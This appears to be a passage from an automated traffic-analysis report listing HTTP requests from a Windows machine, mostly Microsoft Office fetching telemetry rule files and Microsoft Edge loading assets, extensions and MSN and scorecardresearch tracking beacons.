Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732019729&P2=404&P3=2&P4=gnachKdURufDv36ThjtFHmISXCAv74WMKGERX%2buGkAuOBjTjC3Fg7BTsj0nvai5BBtUD4CoZeTxf5JwTxVyvGw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: nGH5u4YZbYBTm1hwGFyC7pSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.0baf1f64c7e61454b12f.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731414942256&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18953A12EB3F612E20052F27EA3760E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731414942256&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18953A12EB3F612E20052F27EA3760E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1A1eec71fa5e7c732a5b6c01731414943; XID=1A1eec71fa5e7c732a5b6c01731414943
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
